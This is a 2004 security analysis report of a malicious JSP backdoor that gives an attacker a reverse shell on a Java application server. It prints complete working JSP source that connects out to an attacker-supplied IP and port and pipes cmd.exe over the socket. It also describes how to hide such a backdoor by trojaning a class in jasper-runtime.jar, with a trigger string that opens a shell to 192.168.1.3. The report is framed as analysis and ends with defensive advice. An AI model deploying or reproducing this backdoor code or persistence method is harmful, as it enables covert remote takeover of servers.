JSP Backdoor Reverse Shell Analysis
原文:http://www.security.org.sg/code/jspreverse.html
JSP Backdoor Reverse Shell Analysis
by Tan Chew Keong
23 February 2004
Introduction
Java Server Pages (JSP) is a very popular way to deploy web applications. Application servers that support JSP includes Apache Tomcat, WebLogic and iPlanet. In this report, we analyse a malicious JSP script that can be planted on a Java application server to give the attacker a reverse shell.
Analysis
Amongst the numerous classes in the JRE is the class java.lang.Runtime. This class supports a number of methods that can be used to execute an external program. Some of these methods are listed in the table below.
Return value Method name
Process exec(String command)
Process exec(String cmd, String[] envp)
Process exec(String command, String[] envp, File dir)
Note that these methods execute the command given in the String parameter and returns a Process object. From the Process object, it is possible to obtain the InputStream, OutputStream and ErrorStream of the executed process. Results of executing the command can be obtained by reading from the OutputStream. Likewise, additional input can be issued to the Process by writing to its InputStream. For more information about the Process object, refer to the JDK documentation.
The JRE also contains the Socket object that can be used to make outgoing socket connections. Like the Process object, the Socket object has InputStream and OutputStream objects that are used to read and write data to the socket. Given these two classes, it is possible to write a reverse-shell backdoor. The steps are as follows.
Obtain the Runtime Object.
Execute cmd.exe using the Runtime Object and get the Process Object
Create a socket connection back to the attacker.
Connect the Socket OutputStream to the Process InputStream
Connect the Socket InputStream to the Process OutputStream
JSP code of this backdoor is shown below.
--------------------------------------------------------------------------------
// backdoor.jsp
< %@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
< %!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe)
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe)
}
}
% >
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
< %
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}
% >
--------------------------------------------------------------------------------
The following shows the screen capture of this backdoor.
Figure 1 - Screen capture of JSP Backdoor Reverse Shell
--------------------------------------------------------------------------------
Further Analysis
Proper operation of a Java Application server relies on the presence of several Java JAR files like rt.jar, jasper-runtime.jar (for Tomcat), etc. These files contain the JRE classes that are used by all Java or JSP applications (e.g. String, StringTokenizer, etc). Since the application server usually do not check for the authenticity of these JAR files. It is possible to backdoor a Java Application server by modifying the class files within one of these JAR files.
Backdooring an Application server with the backdoor.jsp file above is not ideal since that file can be easily discovered by the administrator. However, the administrator may not check for any changes done to files like rt.jar or jasper-runtime.jar. Modifying the behaving of class files within a JAR file is easy. It may be done through these sequence of steps.
Rename the JAR file to ZIP, so that it can be opened using WinZIP.
Extract a class file from the archive and decompile it using JAD.
Add malicious code into the decompiled file and re-compile it.
Update the trojaned class file into the ZIP file and rename it back to JAR.
In a Proof-Of-Concept (POC) that we performed in our Lab, we modified the JspWriterImpl.class of jasper-runtime.jar. This class implements the functionalities of the JspWriter class. It contains methods like println and write, that are used by a JSP application or a servlet to send HTML output back to the user. For example, if we want to display the following the HTML output "<h1>Testing</h1>", we call the JspWriter object with out.write("<h1>Testing</h1>");. We modify the class so that a reverse shell will be initiated whenever a specific output string was written.
Figure 2 - jasper-runtime.jar with backdoored JspWriterImpl.class
In a typical web application, the user's input may be regurgitated back to the user. This provides a good way to trigger the backdoor. An example is shown in the screen capture below. In this sample application, the user is allowed to input a search string, which will be regurgitated back to the user together with the search results.
Figure 3 - Screen capture showing how to trigger to backdoor.
As illustrated by the example above, if the attacker inputs a search string of "haha192.168.1.3hehe2001hoho", a reverse shell will be initiated back to 192.168.1.3 port 2001.
Conclusion
The powerful classes that come default with JRE give lots of flexibility to the backdoor author. In particular, the Runtime class allows executing of external programs and supports the loading of DLLs or UNIX Shared Objects. If an application server was compromised, backdoors may be placed within the JAR files of the application server, and is hard to detect. To prevent this from happening, always make sure that your servers are patched and installed with host-based intruction detection software that detects changes to your JAR files.
Contacts
For further enquries or to submit malicious code for our analysis, email them to the following.
Overall-in-charge: Tan Chew Keong
Updated: 23/2/2004
webmaster@security.org.sg